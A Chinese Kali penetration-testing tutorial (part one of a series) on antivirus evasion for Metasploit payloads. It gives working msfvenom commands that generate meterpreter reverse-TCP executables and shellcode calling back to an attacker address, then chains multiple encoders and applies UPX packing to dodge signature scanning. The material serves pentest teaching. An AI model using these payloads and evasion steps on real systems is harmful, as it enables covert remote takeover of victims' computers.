Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)

简介: Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)

Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹
长期以来,杀毒软件厂商和黑客一直处于博弈的状态,杀毒软件厂商研究了各种检测和清除远程控制被控端的方法,而黑客也在一直致力于研究避开检测的方法(简称为免杀技术)。远程控制被控端也可被看作病毒的一种。

到目前为止,杀毒软件主要使用了3种技术。如下:

  • 基于文件扫描的反病毒技术。这种技术主要依靠对程序的二进制代码进行检测,反病毒工程师将病毒样本中的一段特有的二进制代码串提取出来作为特征码,并将其加入病毒库,检测程序时看它是否包含这个特征码。
  • 基于内存扫描的反病毒技术。有的病毒程序可能通过各种手段躲过文件扫描,但是想要达到目的,它就需要运行。病毒程序在运行后会将自身释放到内存中,释放后到文件结构与为执行的文件相比有较大的差异。因此基于内存扫描的反病毒技术使用一套针对内存的特征码来检测病毒程序。
  • 基于行为监控的反病毒技术。以上两种技术只能查杀已知病毒,对病毒库中不包含的病毒基本没有办法查杀。而基于行为监控的反病毒技术则会监控程序的行为,如果它在执行后进行一些非正规的、可疑的操作,如修改系统的注册表的重要部分,则会被视作病毒病查杀。

那么黑客的免杀手段是针对杀毒软件发展出来的,免杀手段如下:

修改特征码,就是修改病毒样本中的一段特有的二进制代码串

  • 添加花指令,向病毒程序中添加一些无意义的指令,改变程序特征码的位置。
  • 程序加密(加壳),程序加壳后就会变成PE(Portable Execute)文件里的一段数据,在执行加壳文件时会先执行壳,再由壳将已加密的程序解密并还原到内存中。
  • 前两种免杀手段主要针对基于文件扫描的反病毒技术,第3种免杀手段主要针对基于文件扫描的反病毒技术和基于内存扫描的反病毒技术。黑客在使用远程控制被控端时,通常尽量采用反向连接、尽量对通信加密、尽量避免对系统进行修改等方式来躲避检测。

1. msfvenom提供的免杀方法
使用msfvenom生成攻击载荷,命令如下:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -f exe -o /var/payload1.exe

如果将生成的payload1.exe拖拽到Win10或者装有杀毒软件的电脑中,可能被杀端软件发现,就会弹出一个警示窗口,如下图所示:

image.png

即便复制过程中没有被查杀,当用户使用杀端软件进行硬盘杀毒操作时,也会出现如上提示。这个过程,杀毒软件使用的是基于文件扫描的反病毒技术, 因为payload1.exe根本还没有运行就被发现了。所以我们应该设法消除payload1.exe的特征码。msfvenom针对这种扫描方式提供了一种混淆编码的解决方案。msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行后,msf编码器会将原可执行程序解码到内存中并执行。这样就可以在不影响程序执行的前提下,躲避杀毒软件的特征码查杀。我们可以使用如下命令查看msfvenom中支持的编码方式:

┌──(root💀kali)-[~]
└─# msfvenom -l encoders

它们被按照Metasploit里的分类标准分成了7个登记:manual、low、average、normal、good、great、excellent。如下图红框所示:
image.png

最常用的编码方式是x86/shikata_ga_nai,它的评级是excellent。我们使用一个评级为low的编码方式x86/nonalpha进行测试。首先执行如下命令:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/nonalpha -f c

参数-e 是选择的编码器,使用x86/nonalpha编码方式得到的Shellcode如下图所示:
image.png

注意:这里的输出参数为c,表明这是一段可以在C程序中调用的Shellcode。如果尝试执行两次这条命令,观察生成的Shellcode,发现它们都是相同的, 因此杀毒软件很容易就可以从里面找到特征码进行查杀。

使用编码方式x86/shikata_ga_nai 进行测试,命令如下:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -f c

第一次生成的Shellcode片段,如下图所示:

image.png

第二次生成的Shellcode片段,如下图所示:

image.png

对照上面两张图,两次生成的Shellcode虽然功能相同,但是从代码上看已经完全不同,因此这种编码方式格外受到黑客喜爱。因为这里使用的x86/shikata_ga_nai 是多态的,所以有时候生成的文件会被查杀有时候却不会。

有的时候杀毒软件会采用先解码再识别的方式,这时黑客会选择使用多次编码、多重编码的方式。如使用x86/shikata_ga_nai 连续10次编码,再使用其他编码方式,命令如下:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a  x86 --platform windows -i 10 -f exe -o /var/payload.exe

这里的参数i指定编码的次数,即便是使用多次编码、多重编码,大多数时候仍然会被杀毒软件查杀。如下图所示:

image.png

红框内是编码的次数。加壳也是对抗基于文件扫描和内存扫描的反病毒技术的常用手段,Kali Linux中提供了一个很流行的加壳工具UPX,启动方式很简单,命令及输出如下所示:

┌──(root💀kali)-[~]
└─# upx
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
  -1     compress faster                   -9    compress better
  -d     decompress                        -l    list compressed file
  -t     test compressed file              -V    display version number
  -h     give more help                    -L    display software license
Options:
  -q     be quiet                          -v    be verbose
  -oFILE write output to 'FILE'
  -f     force compression of suspicious files
  -k     keep backup files
file..   executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

对上面编码生成的payload.exe文件进行加壳,命令及输出如下所示:

┌──(root💀kali)-[~]
└─# upx /var/payload.exe                                                                                                  1 ⨯
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     48128   65.21%    win32/pe     payload.exe                   

Packed 1 file.

编码和加壳之后,此文件拖拽到Win10系统依然被查杀,弹出警告。可以反复多次编码尝试。

接下文 Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)https://developer.aliyun.com/article/1618428

相关文章
|
22天前
|
弹性计算 人工智能 架构师
阿里云携手Altair共拓云上工业仿真新机遇
2024年9月12日,「2024 Altair 技术大会杭州站」成功召开,阿里云弹性计算产品运营与生态负责人何川,与Altair中国技术总监赵阳在会上联合发布了最新的“云上CAE一体机”。
阿里云携手Altair共拓云上工业仿真新机遇
|
18天前
|
机器学习/深度学习 算法 大数据
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
2024“华为杯”数学建模竞赛,对ABCDEF每个题进行详细的分析,涵盖风电场功率优化、WLAN网络吞吐量、磁性元件损耗建模、地理环境问题、高速公路应急车道启用和X射线脉冲星建模等多领域问题,解析了问题类型、专业和技能的需要。
2566 22
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
|
14天前
|
存储 关系型数据库 分布式数据库
GraphRAG:基于PolarDB+通义千问+LangChain的知识图谱+大模型最佳实践
本文介绍了如何使用PolarDB、通义千问和LangChain搭建GraphRAG系统,结合知识图谱和向量检索提升问答质量。通过实例展示了单独使用向量检索和图检索的局限性,并通过图+向量联合搜索增强了问答准确性。PolarDB支持AGE图引擎和pgvector插件,实现图数据和向量数据的统一存储与检索,提升了RAG系统的性能和效果。
|
16天前
|
人工智能 IDE 程序员
期盼已久!通义灵码 AI 程序员开启邀测,全流程开发仅用几分钟
在云栖大会上,阿里云云原生应用平台负责人丁宇宣布,「通义灵码」完成全面升级,并正式发布 AI 程序员。
|
18天前
|
机器学习/深度学习 算法 数据可视化
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
2024年中国研究生数学建模竞赛C题聚焦磁性元件磁芯损耗建模。题目背景介绍了电能变换技术的发展与应用,强调磁性元件在功率变换器中的重要性。磁芯损耗受多种因素影响,现有模型难以精确预测。题目要求通过数据分析建立高精度磁芯损耗模型。具体任务包括励磁波形分类、修正斯坦麦茨方程、分析影响因素、构建预测模型及优化设计条件。涉及数据预处理、特征提取、机器学习及优化算法等技术。适合电气、材料、计算机等多个专业学生参与。
1561 16
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
|
1天前
|
JSON 自然语言处理 数据管理
阿里云百炼产品月刊【2024年9月】
阿里云百炼产品月刊【2024年9月】,涵盖本月产品和功能发布、活动,应用实践等内容,帮助您快速了解阿里云百炼产品的最新动态。
阿里云百炼产品月刊【2024年9月】
|
20天前
|
编解码 JSON 自然语言处理
通义千问重磅开源Qwen2.5,性能超越Llama
击败Meta,阿里Qwen2.5再登全球开源大模型王座
885 14
|
15天前
|
人工智能 开发框架 Java
重磅发布!AI 驱动的 Java 开发框架:Spring AI Alibaba
随着生成式 AI 的快速发展,基于 AI 开发框架构建 AI 应用的诉求迅速增长,涌现出了包括 LangChain、LlamaIndex 等开发框架,但大部分框架只提供了 Python 语言的实现。但这些开发框架对于国内习惯了 Spring 开发范式的 Java 开发者而言,并非十分友好和丝滑。因此,我们基于 Spring AI 发布并快速演进 Spring AI Alibaba,通过提供一种方便的 API 抽象,帮助 Java 开发者简化 AI 应用的开发。同时,提供了完整的开源配套,包括可观测、网关、消息队列、配置中心等。
655 7
|
9天前
|
Docker 容器
|
1天前
|
存储 人工智能 弹性计算
产品技术能力飞跃,阿里云E-HPC荣获“CCF 产品创新奖”!
9月24日,在中国计算机学会举办的“2024 CCF 全国高性能计算学术年会”中,阿里云弹性高性能计算(E-HPC)荣获「 CCF HPC China 2024 产品创新奖」。这也是继 2022 年之后,阿里云E-HPC 再次荣获此奖项,代表着阿里云在云超算领域的持续创新结果,其产品能力和技术成果得到了业界的一致认可。